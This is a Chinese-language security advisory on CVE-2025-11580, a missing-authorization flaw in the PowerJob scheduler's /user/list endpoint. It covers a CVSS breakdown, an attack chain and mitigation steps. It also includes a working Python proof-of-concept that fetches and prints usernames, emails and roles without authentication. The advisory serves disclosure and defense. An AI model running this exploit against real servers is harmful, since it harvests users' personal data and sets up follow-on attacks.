IPBUF安全漏洞报告
English
CVE-2025-11580 CVSS 5.3 中危

CVE-2025-11580 PowerJob /user/list接口缺失授权漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11580
漏洞类型
缺失授权(Broken Access Control)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PowerJob

相关标签

CVE-2025-11580PowerJob缺失授权访问控制缺陷信息泄露未授权访问中危漏洞Java任务调度框架OWASP-A01

漏洞概述

CVE-2025-11580是PowerJob分布式任务调度框架中的一个中危安全漏洞,影响版本至5.1.2。该漏洞存在于/user/list接口的list函数中,属于典型的访问控制缺陷(Broken Access Control)。攻击者无需任何身份认证即可通过远程网络访问该接口,导致用户列表信息泄露。CVSS 3.1评分为5.3分,攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N)和用户交互(UI:N),对机密性产生低影响(C:L),对完整性和可用性无影响。该漏洞已被公开披露,相应的利用代码(Exploit)已在互联网上公开传播,潜在威胁较高。PowerJob作为一款开源的分布式计算和任务调度框架,广泛应用于企业级数据处理、定时任务调度等场景。该漏洞的存在使得未授权用户能够获取系统中的用户信息,可能为后续攻击(如暴力破解、权限提升、社会工程学攻击等)提供信息基础。建议相关用户尽快升级到修复版本,并加强对管理接口的访问控制。

技术细节

该漏洞的核心问题在于PowerJob的/user/list接口缺少必要的权限校验机制。在正常的权限控制设计中,涉及用户列表查询的接口应当要求请求者具备管理员权限或特定角色权限。然而,在受影响的PowerJob版本(≤5.1.2)中,开发者未在该接口的控制器方法上添加适当的权限注解或拦截器校验,导致任何能够访问该应用的网络用户都可以直接调用该接口。

从技术层面分析,攻击者只需构造一个简单的HTTP GET请求,访问目标PowerJob服务的/user/list端点,即可获取系统中所有用户的列表信息,包括用户名、邮箱、角色等敏感数据。返回的数据通常以JSON格式呈现,便于攻击者进一步解析和利用。

该漏洞的利用门槛极低:1)无需认证凭据;2)无需用户交互;3)可通过标准HTTP请求完成;4)攻击复杂度低。由于漏洞信息及PoC已公开发布,任何具备基本网络访问能力的攻击者都可以利用此漏洞进行信息收集,为后续攻击活动奠定基础。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎(如Shodan、FOFA、ZoomEye)或端口扫描工具识别暴露在公网上的PowerJob服务实例,确认目标系统运行了受影响版本(≤5.1.2)。
STEP 2
步骤2:漏洞探测
攻击者向目标PowerJob服务的/user/list端点发送未经认证的HTTP GET请求,验证是否存在缺失授权漏洞。若返回HTTP 200及用户数据,则确认漏洞存在。
STEP 3
步骤3:信息提取
成功利用漏洞后,攻击者从响应中提取所有用户的敏感信息,包括用户名、邮箱地址、角色权限等。
STEP 4
步骤4:后续攻击准备
攻击者利用获取的用户信息进行暴力破解、凭据填充攻击、社会工程学攻击,或结合其他漏洞进行权限提升和横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11580 PowerJob /user/list Missing Authorization PoC # This PoC demonstrates unauthorized access to user list endpoint import requests # Target PowerJob server URL TARGET_URL = "http://target-powerjob-server:7700" # The vulnerable endpoint - /user/list ENDPOINT = "/user/list" def exploit_user_list(base_url): """ Exploit CVE-2025-11580: Access user list without authentication The /user/list endpoint lacks proper authorization checks, allowing unauthenticated remote attackers to retrieve user information. """ url = f"{base_url}{ENDPOINT}" # Send GET request without any authentication credentials # No cookies, no tokens, no session needed headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-11580-PoC)", "Accept": "application/json" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Vulnerable! Status Code: {response.status_code}") print(f"[+] Response Data:") print(response.text) # Parse and display user information data = response.json() if "data" in data and data["data"]: print(f"\n[+] Found {len(data['data'])} users:") for user in data["data"]: print(f" - Username: {user.get('username', 'N/A')}") print(f" Email: {user.get('email', 'N/A')}") print(f" Role: {user.get('role', 'N/A')}") return True else: print(f"[-] Not vulnerable or endpoint not found. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11580 - PowerJob Missing Authorization PoC") print("=" * 60) exploit_user_list(TARGET_URL)

影响范围

PowerJob < 5.1.3

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)通过网络防火墙或安全组限制PowerJob管理端口(默认7700)的访问范围,仅允许可信IP地址访问;2)在反向代理层(如Nginx)添加访问控制规则,限制/user/list等敏感路径的访问;3)监控对/user/list端点的访问日志,及时发现异常访问行为;4)如非必要,可临时禁用该接口的功能或将其置于维护模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表